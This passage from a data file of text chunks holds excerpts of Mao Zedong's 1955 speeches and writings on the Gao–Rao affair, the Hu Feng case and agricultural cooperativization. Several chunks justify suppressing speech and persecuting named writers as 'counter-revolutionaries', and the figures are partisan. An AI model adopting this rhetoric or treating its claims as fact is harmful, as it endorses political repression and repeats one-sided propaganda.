* 这是毛泽东同志在芬兰首任驻中国大使孙士教递交国书的时候谈话的要点。"},
    {"text": "在中国共产党全国代表会议上的讲话 在中国共产党 全国代表会议上的讲话 （一九五五年三月） 开幕词 （一九五五年三月二十一日） 中国共产党全国代表会议各位代表同志们: 我们这次全国代表会议有三个议事日程:第一，关于发展国民经济的第一个五年计划和关于这个计划的报告；"},
    {"text": "中央委员会根据列宁关于过渡时期的学说，总结了中华人民共和国成立以来的经验，在我国国民经济恢复阶段将要结束的时候，即一九五二年，提出了党在过渡时期的总路线。 这个总路线就是在大约三个五年计划的期间内，逐步实现国家的社会主义工业化，同时对于农业、手工业和资本主义工商业逐步实现社会主义改造，以求达到在我国建成社会主义社会的目的。"},
    {"text": "我们可能经过三个五年计划建成社会主义社会，但要建成为一个强大的高度社会主义工业化的国家，就需要有几十年的艰苦努力，比如说，要有五十年的时间，即本世纪的整个下半世纪。"},
    {"text": "同时，必须很好地继续发展同伟大的先进社会主义国家苏联和各人民民主国家的亲密合作，也要发展同资本主义世界一切爱好和平的国家和人民的合作。"},
    {"text": "我们经常说，不要因为我们的工作有成绩就骄傲自满起来，应该保持谦虚态度，向先进国家学习，向群众学习，在同志间也要互相学习，以求少犯错误。"},
    {"text": "鉴于高岗、饶漱石的反党事件，骄傲自满情绪在我们党内确实是存在着，在有些同志的身上这种情绪还是严重的，不克服这种情绪，就会妨碍我们建设社会主义社会这个伟大任务的完成。"},
    {"text": "”我们是共产党人，更不待说是党的高级干部，在政治上都要光明磊落，应该随时公开说出自己的政治见解，对于每一个重大的政治问题表示自己或者赞成或者反对的态度，而绝对不可以学高岗、饶漱石那样玩弄阴谋手段。"},
    {"text": "为着建成社会主义社会这一个目的，中央委员会认为有必要在这个时候按照党章成立中央监察委员会，代替过去的纪律检查委员会，借以在新的激烈的阶级斗争时期加强党的纪律，加强对各种违法乱纪现象的斗争，特别是防止像高、饶反党联盟这一类严重危害党的利益的事件重复发生。"},
    {"text": "鉴于种种历史教训，鉴于个人的智慧必须和集体的智慧相结合才能发挥较好的作用和使我们在工作中少犯错误，中央和各级党委必须坚持集体领导的原则，继续反对个人独裁和分散主义两种偏向。 必须懂得，集体领导和个人负责这样两个方面，不是互相对立的，而是互相结合的。"},
    {"text": "另一方面，国内反革命残余势力的活动还很猖獗，我们必须有计划地、有分析地、实事求是地再给他们几个打击，使暗藏的反革命力量更大地削弱下来，借以保证我国社会主义建设事业的安全。"},
    {"text": "一个六万万人口的东方国家举行社会主义革命，要在这个国家里改变历史方向和国家面貌，要在大约三个五年计划期间内使国家基本上工业化，并且要对农业、手工业和资本主义工商业完成社会主义改造，要在大约几十年内追上或赶过世界上最强大的资本主义国家，这是决不会不遇到困难的，如同我们在民主革命时期所曾经遇到过的许多困难那样，也许还会要遇到比过去更大的困难。"},
    {"text": "我们知道，帝国主义、国内反革命分子以及他们在我们党内的代理人，等等，都不过是垂死的力量，而我们则是新生的力量，真理是在我们方面。"},
    {"text": "只要我们更多地懂得马克思列宁主义，更多地懂得自然科学，一句话，更多地懂得客观世界的规律，少犯主观主义错误，我们的革命工作和建设工作，是一定能够达到目的的。"},
    {"text": "一 关于这次代表会议的评价 绝大多数同志认为，这次会议开得很好，是从延安整风以来的又一次整风会议，发扬了民主，开展了批评与自我批评，使得我们互相了解更多了，思想更加统一了，使得我们有了共同的认识。"},
    {"text": "正如恩来同志所说，如果说党的第七次代表大会同它以前一个时期全党的思想、政治上的整风，奠定了我们党的统一思想的基础，在这个基础上取得了反对帝国主义、封建主义和官僚资本主义这种民主革命的胜利，那末，这一次会议就会使我们取得社会主义的胜利。"},
    {"text": "这次会议证明，我们党的水平是大为提高了，不但比十年前的七次大会时期大进了一步，而且比一九四九年的二中全会、一九五〇年的三中全会时期大进了一步。"},
    {"text": "我们进入了这样一个时期，就是我们现在所从事的、所思考的、所钻研的，是钻社会主义工业化，钻社会主义改造，钻现代化的国防，并且开始要钻原子能这样的历史的新时期。"},
    {"text": "我们要在党内外五百万知识分子和各级干部中，宣传并使他们获得辩证唯物论，反对唯心论，我们将会组成一支强大的理论队伍，而这是我们极为需要的，这又是一件大好事。 我们要作出计划，组成这么一支强大的理论队伍，有几百万人读马克思主义的理论基础，即辩证唯物论和历史唯物论，反对各种唯心论和机械唯物论。"},
    {"text": "马克思主义有几门学问:马克思主义的哲学，马克思主义的经济学，马克思主义的社会主义——阶级斗争学说，但基础的东西是马克思主义哲学。"},
    {"text": "但是，中央各部门的发言中间，有一部分内容较差，分析和批判不够； 地方同志发言中间，也有一部分是较差的，分析和批判是不够的。 另有一种情况，就是在有些同志发言中间，对严重的浪费问题以及别的错误，只是揭露了现状，没有说明如何处理。 对于这些发言，有些同志不满意。"},
    {"text": "我希望，所有的省委书记、市委书记、地委书记以及中央各部门的负责同志，都要奋发努力，在提高马克思列宁主义水平的基础上，使自己成为精通政治工作和经济工作的专家。"},
    {"text": "中央各部门要求地方协作的事也不少。 中央部门在各地方办的事业，要请地方党委给以监督和帮助，特别是在政治思想工作方面。 地方党委有责任帮助中央在地方所办的事业去完成任务。 所以，不仅地方对中央有要求，中央对地方也有要求。"},
    {"text": "一、是从财经会议期间高岗、饶漱石的共同活动看出来的。 二、是从组织会议期间饶漱石同张秀山配合进行反党活动看出来的。 三、是从饶漱石的话里看出来的。"},
    {"text": "在揭露高岗的中央会议上，我说，北京有两个司令部，一个是以我为首的司令部，就是刮阳风，烧阳火，一个是以别人为司令的司令部，叫做刮阴风，烧阴火，一股地下水。"},
    {"text": "高岗跟张秀山、张明远、赵德尊、马洪、郭峰之间，也没有订条约嘛!我们也没有看见他们的文字协定嘛!那末连他们这个反党集团也否定了!还有饶漱石跟向明、扬帆之间，也没有看见他们的条约嘛!所以，说没有明文协定就不能认为是联盟，这种意见是不对的。"},
    {"text": "不管怎么样，这几种人总之已经有所表示了，我们应当一律表示欢迎，总算有所表示嘛!还有个别同志要求发言，没有来得及，他们可以用书面向中央写一个报告。"},
    {"text": "那末现在我们决定，不论是关于五年计划还是关于高饶反党联盟问题，所有的发言、报告，都可以拿回去修改，字斟句酌，在五天之内，把那些没有讲完全的，或讲得不妥的，再加以修改。"},
    {"text": "对这些同志，我们应当采取这样的态度，就是希望他们改正错误，对他们不但要看，而且要帮。 就是讲，不但要看他们改不改，而且要帮他们改。"},
    {"text": "看是要看的，看他们改不改，但单是看是消极的，还要帮助他们。 对受了影响的人，不管有深有浅，我们一律欢迎他们改正，不但要看，而且要帮。"},
    {"text": "有几种情形:第一种是他们认为是他们的敌人的人，当然不去传播； 第二种是他们看不起的人，认为无足轻重，现在不必去传播，将来“天下大定”了，那些人自然跟着过来的； 第三种是他们不敢惹的人，那些人大概是免疫力比较强，他们一看就不对头，虽然这些同志并不被认为是他们的敌人，也不是无足轻重，但是他们不敢去惹；"},
    {"text": "对其他的问题，符合党的原则的，比如五年计划，关于高饶反党联盟的决议、报告，以及各种正确的政策，正确的党内法规，这样一些言论、行动，当然要积极支持，打成一片。"},
    {"text": "在这次高饶反党事件中，以及在过去党内的路线斗争中，都有过许多这样的经验:只要你以为关系太老了，太深了，不好讲，不保持一个距离，不挡回去，不划清界限，你就越陷越深，他们那个“鬼”就要缠住你。"},
    {"text": "我说分两种情况:一种是听到高岗、饶漱石讲了许多不符合党的原则的话，甚至高岗、饶漱石还同他们商量过一些反党活动问题，那就应当看出来。"},
    {"text": "事业是多数人做的，少数人的作用是有限的。 应当承认少数人的作用，就是领导者、干部的作用，但是，没有什么了不起的作用，有了不起的作用的还是群众。 干部与群众的正确关系是，没有干部也不行，但是，事情是广大群众做的，干部起一种领导作用，不要夸大干部的这种作用。"},
    {"text": "孔夫子早已没有了，我们中国有了共产党，总比孔夫子高明一点吧，可见没有孔夫子事情还做得好一些嘛! 有两种人:一种是老资格，在座的不少，资格很老；"},
    {"text": "超过时代，超过当前的情况，在方针政策上、在行动上冒进，在斗争的问题上、在发生争论的问题上乱斗，这是“左”，这个不好。 落在时代的后面，落在当前情况的后面，缺乏斗争性，这是右，这个也不好。 我们党内不但有喜欢“左”的，也有不少喜欢右的，或者中间偏右，都是不好的。 我们要进行两条战线的斗争，既反对“左”，也反对右。"},
    {"text": "无非是这些坏得不得了的事:帝国主义者发动新的世界大战，蒋介石又来坐北京，高饶反党联盟一类的事件重新发生，而且不只一个，而是十个，一百个。"},
    {"text": "现在，我们帮助少数民族很少，有些地方还没有帮助，而少数民族倒是帮助了汉族。 有些少数民族，需要我们先去帮助他们，然后他们才能帮助我们。 少数民族在政治上很大地帮助了汉族，他们加入了中华民族这个大家庭，就是在政治上帮助了汉族。"},
    {"text": "当然头五年不应当开，因为兵荒马乱，又开了“七大”，后五年可以开而没有开。 没有开也有好处:高饶问题搞清楚再开，不然他们要利用“八大”大做文章。"},
    {"text": "同时，我们的五年计划也上了轨道，过渡时期总路线也提出来了，又经过这次代表会议使大家在思想上更加统一了，为召开党的第八次代表大会准备了条件。"},
    {"text": "最后，我请同志们注意，也请全党同志注意: 为在一九五六年胜利地召开党的第八次全国代表大会而斗争! 为胜利地完成第一个五年计划而斗争!"},
    {"text": "驳“舆论一律” 驳“舆论一律” * （一九五五年五月二十四日） 胡风所谓“舆论一律”，是指不许反革命分子发表反革命意见。这是确实的，我们的制度就是不许一切反革命分子有言论自由，而只许人民内部有这种自由。我们在人民内部，是允许舆论不一律的，这就是批评的自由，发表各种不同意见的自由，宣传有神论和宣传无神论（即唯物论）的自由。一个社会，无论何时，总有先进和落后两种人们、两种意见矛盾地存在着和斗争着，总是先进的意见克服落后的意见，要想使“舆论一律”是不可能的，也是不应该的。只有充分地发扬先进的东西去克服落后的东西，才能使社会前进。但是在国际国内尚有阶级和阶级斗争存在的时代，夺取了国家权力的工人阶级和人民大众，必须镇压一切反革命阶级、集团和个人对于革命的反抗，制止他们的复辟活动，禁止一切反革命分子利用言论自由去达到他们的反革命目的。这就使胡风等类反革命分子感到“舆论一律”对于他们的不方便。他们感到不方便，正是我们的目的，正是我们的方便。我们的舆论，是一律，又是不一律。在人民内部，允许先进的人们和落后的人们自由利用我们的报纸、刊物、讲坛等等去竞赛，以期由先进的人们以民主和说服的方法去教育落后的人们，克服落后的思想和制度。一种矛盾克服了，又会产生新矛盾，又是这样去竞赛。这样，社会就会不断地前进。有矛盾存在就是不一律。克服了矛盾，暂时归于一律了；但不久又会产生新矛盾，又不一律，又须要克服。在人民与反革命之间的矛盾，则是人民在工人阶级和共产党领导之下对于反革命的专政。在这里，不是用的民主的方法，而是用的专政即独裁的方法，即只许他们规规矩矩，不许他们乱说乱动。这里不但舆论一律，而且法律也一律。在这个问题上，胡风等类的反革命分子好象振振有词；有些糊涂的人们在听了这些反革命论调之后，也好象觉得自己有些理亏了。你看，“舆论一律”，或者说，“没有舆论”，或者说，“压制自由”，岂不是很难听的么？他们分不清楚人民的内部和外部两个不同的范畴。在内部，压制自由，压制人民对党和政府的错误缺点的批评，压制学术界的自由讨论，是犯罪的行为。这是我们的制度。而这些，在资本主义国家里，则是合法的行为。在外部，放纵反革命乱说乱动是犯罪的行为，而专政是合法的行为。这是我们的制度。资本主义国家正相反，那里是资产阶级专政，不许革命人民乱说乱动，只叫他们规规矩矩。剥削者和反革命者无论何时何地总是少数，被剥削者和革命者总是多数，因此，后者的专政就有充分的道理，而前者则总是理亏的。胡风又说：“绝大多数读者都在某种组织生活中，那里空气是强迫人的。”我们在人民内部，反对强迫命令方法，坚持民主说服方法，那里的空气应当是自由的，“强迫人”是错误的。“绝大多数读者都在某种组织生活中”，这是极大的好事。这种好事，几千年没有过，仅在共产党领导人民作了长期的艰苦的斗争之后，人民方才取得了将自己由利于反动派剥削压迫的散沙状态改变为团结状态的这种可能性，并且于革命胜利后几年之内实现了这种人民的大团结。胡风所说的“强迫人”，是指强迫反革命方面的人。他们确是胆战心惊，感到“小媳妇一样，经常的怕挨打”，“咳一声都有人录音”。我们认为这也是极大的好事。这种好事，也是几千年没有过，仅在共产党领导人民作了长期艰苦斗争之后，才使得这些坏蛋感觉这么难受。一句话，人民大众开心之日，就是反革命分子难受之时。我们每年的国庆节，首先就是庆祝这件事。胡风又说：“文艺问题也实在以机械论最省力。”这里的“机械论”是辩证唯物论的反话，“最省力”是他的瞎说。世界上只有唯心论和形而上学最省力，因为它可以由人们瞎说一气，不要根据客观实际，也不受客观实际检查的。唯物论和辩证法则要用气力，它要根据客观实际，并受客观实际检查，不用气力就会滑到唯心论和形而上学方面去。胡风在这封信里提出了三个原则性的问题，我们认为有加以详细驳斥的必要。胡风在这封信里还说到：“目前到处有反抗的情绪，到处有进一步的要求”，他是在一九五〇年说的。那时，在大陆上刚刚消灭了蒋介石的主要军事力量，还有许多化为土匪的反革命武装正待肃清，大规模的土地改革和镇压反革命的运动还没有开始，文化教育界也还没有进行整顿工作，胡风的话确实反映了那时的情况，不过他没有说完全。说完全应当是这样：目前到处有反革命反抗革命的情绪，到处有反革命对于革命的各种捣乱性的进一步的要求。 注 释 * 这是毛泽东同志为批判胡风反革命集团而写的一篇文章。"},
    {"text": "《关于胡风反革命集团的材料》的序言和按语 《关于胡风反革命集团的材料》的 序言和按语 （一九五五年五月、六月） 序言 （一九五五年六月十五日） 为应广大读者的需要，我们现在将《人民日报》在一九五五年五月十三日至六月十日期间所发表的关于胡风反革命集团的三批材料和《人民日报》一九五五年六月十日的社论编在一起，交人民出版社出版，书名就叫《关于胡风反革命集团的材料》。"},
    {"text": "在这本书中，我们仍然印了胡风的《我的自我批判》一文，作为读者研究这个反革命两面派的一项资料，不过把它改为附件，印在舒芜那篇“材料”的后面。"},
    {"text": "胡风和胡风分子确是一切反革命阶级、集团和个人的代言人，他们咒骂革命的话和他们的活动策略，将为一切能得到这本书的反革命分子所欣赏，并从这里得到某些反革命的阶级斗争的教育。"},
    {"text": "胡风分子的这些文件，如同他们的靠山帝国主义和蒋介石国民党一切反对中国人民的反革命文件一样，并不是成功的纪录，而只是失败的纪录，他们没有挽救他们自己集团的灭亡。"},
    {"text": "我们的人眼睛不亮，不善于辨别好人和坏人。 我们善于辨别在正常情况之下从事活动的好人和坏人，但是我们不善于辨别在特殊情况下从事活动的某些人们。"},
    {"text": "就胡风分子的许多个别的人来说，我们所以受他们欺骗，则是因为我们的党组织，国家机关，人民团体，文化教育机关或企业机关，当着接收他们的时候，缺乏严格的审查。"},
    {"text": "也因为我们过去是处在革命的大风暴时期，我们是胜利者，各种人都向我们靠拢，未免泥沙俱下，鱼龙混杂，我们还没有来得及作一次彻底的清理。"},
    {"text": "我们所以重视胡风事件，就是要用这个事件向广大人民群众，首先是向具有阅读能力的工作干部和知识分子进行教育，向他们推荐这个“材料”，借以提高他们的觉悟程度。"},
    {"text": "只要广大的革命人民从这个事件和材料学得了一些东西，激发了革命热情，提高了辨别能力，各种暗藏的反革命分子就会被我们一步一步地清查出来的。"},
    {"text": "胡风所领导的一批人，据说都是“青年作家”和“革命作家”，被一个具有“资产阶级理论”“造成独立王国”的共产党宗派所“仇视”和“迫害”，因此，他们要报仇。"},
    {"text": "《文艺报》问题，“不过是抓到的一个缺口”，这个“问题不是孤立的”，很需要由此“拖到全面”，“透出这是一个宗派主义统治的问题”，而且是“宗派和军阀统治”。"},
    {"text": "他们的基本队伍，或是帝国主义国民党的特务，或是托洛茨基分子，或是反动军官，或是共产党的叛徒，由这些人做骨干组成了一个暗藏在革命阵营的反革命派别，一个地下的独立王国。"},
    {"text": "二 芦甸这种以攻为守的策略，后来胡风果然实行了，这就是胡风到北京来请求派工作，请求讨论他的问题，三十万字的上书言事，最后是抓住《文艺报》问题放大炮。"},
    {"text": "如果这人“斗志较差”，即并不坚持自由主义立场，而愿意接受党的批判转到正确立场上来的话，对于胡风集团来说，那就无望了，他们就拉不走这个人。 如果这人坚持自由主义立场的“斗志”不是“较差”而是“较好”的话，那末，这人就有被拉走的危险。"},
    {"text": "但我们的敌人是落后的腐朽的反动派，他们是注定要灭亡的，他们不懂得客观世界的规律，他们用以想事的方法是主观主义的和形而上学的方法，因此他们的估计总是错误的。"},
    {"text": "我们亲眼看到了许多的反革命：清朝政府，北洋军阀，日本军国主义，墨索里尼，希特勒，蒋介石，一个一个地倒下去了，他们犯了并且不可能不犯思想和行动的错误。"},
    {"text": "法国资产阶级的国民议会里至今还有保皇党的代表人物欧话，那末，在地球上全部剥削阶级彻底灭亡之后多少年内，很可能还会有蒋介石王朝的代表人物在各地活动着。"},
    {"text": "六 这封信里所谓“那些封建潜力正在疯狂的杀人”，乃是胡风反革命集团对于我国人民革命力量镇压反革命力量的伟大斗争感觉恐怖的表现，这种感觉代表了一切反革命的阶级、集团和个人。"},
    {"text": "从来的革命，除了奴隶制代替原始公社制那一次是以剥削制度代替非剥削制度以外，其余的都是以一种剥削制度代替另一种剥削制度为其结果的，他们没有必要也没有可能去作彻底镇压反革命的事情。 只有我们，只有无产阶级和共产党领导的人民大众的革命，是以最后消灭任何剥削制度和任何阶级为目标的革命，被消灭的剥削阶级无论如何是要经由它们的反革命政党、集团或某些个人出来反抗的，而人民大众则必须团结起来坚决、彻底、干尽、全部地将这些反抗势力镇压下去。"},
    {"text": "只是“封建潜力”几个字说错了，这是“无产阶级和共产党领导的以工农联盟为基础的人民民主专政”一语的反话，如同他们所说的“机械论”是“辩证唯物论”的反话一样。"},
    {"text": "七 还是这个张中晓，他的反革命感觉是很灵的，较之我们革命队伍里的好些人，包括一部分共产党员在内，阶级觉悟的高低，政治嗅觉的灵钝，是大相悬殊的。"},
    {"text": "如果说胡风集团能给我们一些什么积极的东西，那就是借着这一次惊心动魄的斗争，大大地提高我们的政治觉悟和政治敏感，坚决地将一切反革命分子镇压下去，而使我们的革命专政大大地巩固起来，以便将革命进行到底，达到建成伟大的社会主义国家的目的。"},
    {"text": "某些同志看了过去几年合作化发展的历史还是不相信，他们还要看一看一九五五年这一年的发展情况怎么样。 他们也许还要在一九五六年看一年，如果更多的合作社巩固了，他们才会真正相信农业合作化是可能的，他们也才会相信我党中央的方针是正确的。"},
    {"text": "在中华人民共和国成立以前，在二十二年的革命战争中，我党已经有了在土地改革之后，领导农民，组织带有社会主义萌芽的农业生产互助团体的经验。"},
    {"text": "一九五一年十二月十五日，我党中央做出第一个先向地方党组织发布并且在各地试行的关于农业生产互助合作决议草案的时候（这个文件到一九五三年三月，才在报纸上以正式决议的形式发表），已经有了三百多个农业生产合作社。 过了两年，到一九五三年十二月十六日我党中央发布关于农业生产合作社决议的时候，农业生产合作社已经发展到一万四千多个，两年时间增加了四十六倍。 这个决议指出，要在一九五三年冬季到一九五四年秋收的时候，农业生产合作社由一万四千多个，发展到三万五千八百多个，即只准备增加一倍半，而其结果，这一年却发展到了十万个合作社，成为一万四千多个合作社的七倍多。 一九五四年十月我党中央决定，由十万个合作社增加五倍，发展到六十万个合作社，结果完成了六十七万个合作社。"},
    {"text": "到一九五七年，国营农场将达到三千零三十八个，耕地面积将达到一千六百八十七万亩。 其中，机械化农场将达到一百四十一个（包括一九五二年原有的和第一个五年计划时期内增加的），耕地面积将达到七百五十八万亩； 非机耕的地方国营农场二千八百九十七个，耕地面积将达到九百二十九万亩。"},
    {"text": "我觉得似乎少了一点，可能需要比原有的六十五万个社增加一倍左右，即增加到一百三十万个左右的合作社，使全国二十几万个乡，除了某些边疆地区以外，每乡都有一个至几个小型的半社会主义性质的农业生产合作社，以作榜样。"},
    {"text": "就农业合作化问题来说，我认为我们应当相信:（1）贫农、新中农中间的下中农和老中农中间的下中农，因为他们的经济地位困难（贫农），或者他们的经济地位虽然比较解放以前有所改善，但是仍然不富裕（下中农），因此，他们是有一种走社会主义道路的积极性的，他们是积极地响应党的合作化号召的，特别是他们中间的觉悟较高的分子，这种积极性更大。"},
    {"text": "我们党已经胜利地领导了一个伟大的人民民主革命，建立了以工人阶级为首的人民民主专政，也就一定能够领导全国人民，在大约三个五年计划的时期内，基本上完成社会主义工业化和对于农业、手工业、资本主义工商业的社会主义改造。"},
    {"text": "请看第一批三百个合作社，第二批一万三千七百个合作社，第三批八万六千个合作社，以上三批共有十万个合作社，都是一九五四年秋季以前建立起来的，都巩固了，为什么一九五四年至一九五五年的第四批合作社（五十五万个），一九五五年至一九五六年的第五批合作社（暂定控制数字为三十五万个，尚待最后确定）就不能巩固呢？"},
    {"text": "我们应当爱惜农民和干部的任何一点微小的社会主义积极性，而不应当去挫折它。 我们应当同合作社社员、合作社干部和县、区、乡干部共命运，同呼吸，不要挫折他们的积极性。"},
    {"text": "如果一个合作社中只有一部分人坚决不愿意干，那就让这一部分人退出去，而留下大部分人继续干。 如果有大部分人坚决不愿意干，只有一小部分人愿意干，那就让大部分人退出去，而将小部分人留下继续干。"},
    {"text": "浙江由于采取所谓“坚决收缩”的方针（不是浙江省委决定的），一下子就从五万三千个合作社中解散了一万五千个包括四十万农户的合作社，引起群众和干部的很大不满，这是很不妥当的。"},
    {"text": "在胜利面前，我认为有两种不好:（1）胜利冲昏了头脑，使自己的头脑大大膨胀起来，犯出“左”的错误，这当然不好。 （2）胜利吓昏了头脑，来一个“坚决收缩”，犯出右的错误，这也不好。"},
    {"text": "（2）在农民群众中，有系统地和反复地宣传我党关于农业合作化的方针、政策和办法。 在向农民作宣传的时候，不但要解释合作化的好处，也要指出合作化过程中会要遇到的困难，使农民有充分的精神准备。 （3）按照实际情况，拟定全省的、全专区的、全县的、全区的和全乡的发展农业合作化的全面规划，从其中拟定年度规划。"},
    {"text": "（5）普遍地大量地发展农业生产互助组，并且只要有可能就促使许多互助组互相联合起来，组成互助组的联合组，打好进一步联合起来建立合作社的基础。"},
    {"text": "但是还要在一批合作社建成以后，跟着就去进行整顿工作。 看一批合作社建立起来以后能不能巩固，第一就看建社以前的准备工作是不是做得好，第二就看建社以后的整顿工作是不是做得好。"},
    {"text": "建社工作和整社工作都要依靠党和青年团的乡支部。 因此，建社工作和整社工作都要同在乡村中的建党建团工作和整党整团工作密切地相结合。 不论建社工作和整社工作，都应当以乡村中当地的干部为主要力量，鼓励和责成他们去做；"},
    {"text": "已经建立起来了的六十五万个农业生产合作社有百分之八十以上的社都增加了农作物的产量，这是极好的情况，证明农业生产合作社社员的生产积极性是高的，合作社胜过互助组，更胜过单干户。"},
    {"text": "坚持自愿、互利原则，现在必须注意解决以下各项问题:（1）耕畜和大农具是否以迟一两年再入社为适宜，入社作价是否公道和还款时间是否过长；"},
    {"text": "（4）某些社员是否可以使用自己的一部分劳动力去从事某些副业生产（因为现在我们建立起来的农业生产合作社，一般地还是半社会主义性质的，所以，上述四个问题必须注意解决得恰当，才不至于违反贫农和中农之间的互利原则，只有在互利的基础之上才能实现自愿）；"},
    {"text": "他们的生活或者还是困难的（贫农，他们分得了土地，比较解放前是好多了，但是还因为人力畜力和农具的不足，生活仍然感到困难），或者还不富裕（下中农），因此，他们有一种组织合作社的积极性。"},
    {"text": "因此，我们对于一切暂时还不想加入合作社的人，即使他们是贫农和下中农也吧，要有一段向他们进行教育的时间，要耐心地等待他们的觉悟，不要违反自愿原则，勉强地把他们拉进来。 至于新中农中间的上中农和老中农中间的上中农，即一切经济地位较为富裕的中农，除开若干已经有了走社会主义道路的觉悟、真正自愿加入合作社的，可以吸收他们入社以外，其余暂时都不要吸收，更不要勉强地把他们拉进来。 这是因为他们现在还没有走社会主义道路的觉悟，只有等到农村中大多数人都加入合作社了，或者合作社的单位面积产量提高到同这些富裕中农的单位面积产量相等甚至更高了，他们感到再单干下去在各方面都对他们不利，而惟有加入合作社才是较为有利的时候，他们才会下决心加入合作社。 这样，先将经济地位贫苦或者还不富裕的人们（约占农村人口百分之六十到七十），按其觉悟程度，分作多批，在几年内，组成合作社，然后再去吸收富裕中农。"},
    {"text": "在已经基本上合作化了的地区，在那些已经巩固的合作社内，则可以有条件地分批分期地接收那些早已放弃剥削、从事劳动，并且遵守政府法令的原来的地主分子和富农分子加入合作社，参加集体的劳动，并且在劳动中继续改造他们。"},
    {"text": "中国的情况是:由于人口众多、已耕的土地不足（全国平均每人只有三亩田地，南方各省很多地方每人只有一亩田或只有几分田），时有灾荒（每年都有大批的农田，受到各种不同程度的水、旱、风、霜、雹、虫的灾害）和经营方法落后，以致广大农民的生活，虽然在土地改革以后，比较以前有所改善，或者大为改善，但是他们中间的许多人仍然有困难，许多人仍然不富裕，富裕的农民只占比较的少数，因此大多数农民有一种走社会主义道路的积极性。"},
    {"text": "而我们的有些同志却忽略了这种情况，认为现在刚刚发展起来的几十万个小型的半社会主义的农业生产合作社，即已“超过了实际可能”，“超过了群众的觉悟水平”，这是看见了较小量的富裕农民，忘记了最大量的贫农和非富裕农民。"},
    {"text": "不实行五年计划，不着手进行社会主义工业化的工作，我们怎么能够取得工业化的经验呢？ 五年计划中就有农业合作化的部分，我们不去领导农民在每乡每村都办起一个至几个农业生产合作社来，试问“干部的经验水平”从何处得来，又从何处提高呢？"},
    {"text": "有些同志不赞成我党中央关于我国农业合作化的步骤应当和我国的社会主义工业化的步骤相适应的方针，而这种方针，曾经在苏联证明是正确的。"},
    {"text": "首先，大家知道，我国的商品粮食和工业原料的生产水平，现在是很低的，而国家对于这些物资的需要却是一年一年地增大，这是一个尖锐的矛盾。 如果我们不能在大约三个五年计划的时期内基本上解决农业合作化的问题，即农业由使用畜力农具的小规模的经营跃进到使用机器的大规模的经营，包括由国家组织的使用机器的大规模的移民垦荒在内（三个五年计划期内，准备垦荒四亿亩至五亿亩），我们就不能解决年年增长的商品粮食和工业原料的需要同现时主要农作物一般产量很低之间的矛盾，我们的社会主义工业化事业就会遇到绝大的困难，我们就不可能完成社会主义工业化。 这个问题，苏联在建设社会主义的过程中是曾经遇到了的，苏联是用有计划地领导和发展农业合作化的方法解决了，我们也只有用这个方法才能解决它。 其次，我们的一些同志也没有把这样两件事联系起来想一想，即:社会主义工业化的一个最重要的部门——重工业，它的拖拉机的生产，它的其他农业机器的生产，它的化学肥料的生产，它的供农业使用的现代运输工具的生产，它的供农业使用的煤油和电力的生产等等，所有这些，只有在农业已经形成了合作化的大规模经营的基础上才有使用的可能，或者才能大量地使用。"},
    {"text": "我们现在不但正在进行关于社会制度方面的由私有制到公有制的革命，而且正在进行技术方面的由手工业生产到大规模现代化机器生产的革命，而这两种革命是结合在一起的。"},
    {"text": "由此可见，我们对于工业和农业、社会主义的工业化和社会主义的农业改造这样两件事，决不可以分割起来和互相孤立起来去看，决不可以只强调一方面，减弱另一方面。"},
    {"text": "其次，我们的一些同志也没有把这样两件事联系起来想一想，即:为了完成国家工业化和农业技术改造所需要的大量资金，其中有一个相当大的部分是要从农业方面积累起来的。"},
    {"text": "这除了直接的农业税以外，就是发展为农民所需要的大量生活资料的轻工业的生产，拿这些东西去同农民的商品粮食和轻工业原料相交换，既满足了农民和国家两方面的物资需要，又为国家积累了资金。"},
    {"text": "而轻工业的大规模的发展不但需要重工业的发展，也需要农业的发展。 因为大规模的轻工业的发展，不是在小农经济的基础上所能实现的，它有待于大规模的农业，而在我国就是社会主义的合作化的农业。"},
    {"text": "他们老是站在资产阶级、富农或者具有资本主义自发倾向的富裕中农的立场上替较少的人打主意，而没有站在工人阶级的立场上替整个国家和全体人民打主意。"},
    {"text": "《苏联共产党（布）历史简明教程》不是告诉了我们，他们的许多地方党组织，曾经在合作化的速度问题上，在一个时期内，犯过急躁冒进的错误吗？"},
    {"text": "在这个时间内，在农业方面，我们除了实行土地改革和恢复农业生产这些任务之外，我们还在一切老解放区大大地推广了农业生产互助组的组织，并且着手组织半社会主义的农业生产合作社，取得了一些经验。"},
    {"text": "接着是从一九五三年起的第一个五年计划，到现在已经实行了差不多三年，我们的农业合作化运动已经向全国范围内推广，我们的经验也增加了。"},
    {"text": "我们准备在这个时间内，同基本上完成社会主义工业化、基本上完成手工业和资本主义工商业的社会主义改造同时，基本上完成农业方面的社会主义的改造。"},
    {"text": "苏联是在一九二〇年结束国内战争的，从一九二一年到一九三七年，共有十七年时间完成了农业的合作化，而它的合作化的主要工作是在一九二九年到一九三四年这六年时间内完成的。"},
    {"text": "在这个时间内，虽然苏联的一些地方党组织，如像《苏联共产党（布）历史简明教程》上所说的，犯过一次所谓“胜利冲昏头脑”的错误，但是很快就被纠正。"},
    {"text": "第一步，在农村中，按照自愿和互利的原则，号召农民组织仅仅带有某些社会主义萌芽的、几户为一起或者十几户为一起的农业生产互助组。 然后，第二步，在这些互助组的基础上，仍然按照自愿和互利的原则，号召农民组织以土地入股和统一经营为特点的小型的带有半社会主义性质的农业生产合作社。 然后，第三步，才在这些小型的半社会主义的合作社的基础上，按照同样的自愿和互利的原则，号召农民进一步地联合起来，组织大型的完全社会主义性质的农业生产合作社。"},
    {"text": "这些步骤，可以使农民从自己的经验中逐步地提高社会主义的觉悟程度，逐步地改变他们的生活方式，因而可以使他们较少地感到他们的生活方式的改变好像是突然地到来的。"},
    {"text": "又因为那百分之十几的合作社虽然第一年不增不减，但是经过整顿，第二年可能增产； 最后，那百分之几减产的合作社，经过整顿，第二年也有可能增产，或者进到不增不减的地位。"},
    {"text": "他们认为目前合作化运动的情况很危险，他们劝我们从目前合作化的道路上“赶快下马”。 他们向我们提出了警告:“如果不赶快下马，就有破坏工农联盟的危险。 ”我们认为恰好相反，如果不赶快上马，就有破坏工农联盟的危险。"},
    {"text": "大家知道，我们已经有了一个工农联盟，这是建立在反对帝国主义和封建主义、从地主手里取得土地分给农民、使农民从封建所有制解放出来这样一个资产阶级民主革命的基础之上的。"},
    {"text": "现在农村中存在的是富农的资本主义所有制和像汪洋大海一样的个体农民的所有制。 大家已经看见，在最近几年中间，农村中的资本主义自发势力一天一天地在发展，新富农已经到处出现，许多富裕中农力求把自己变为富农。"},
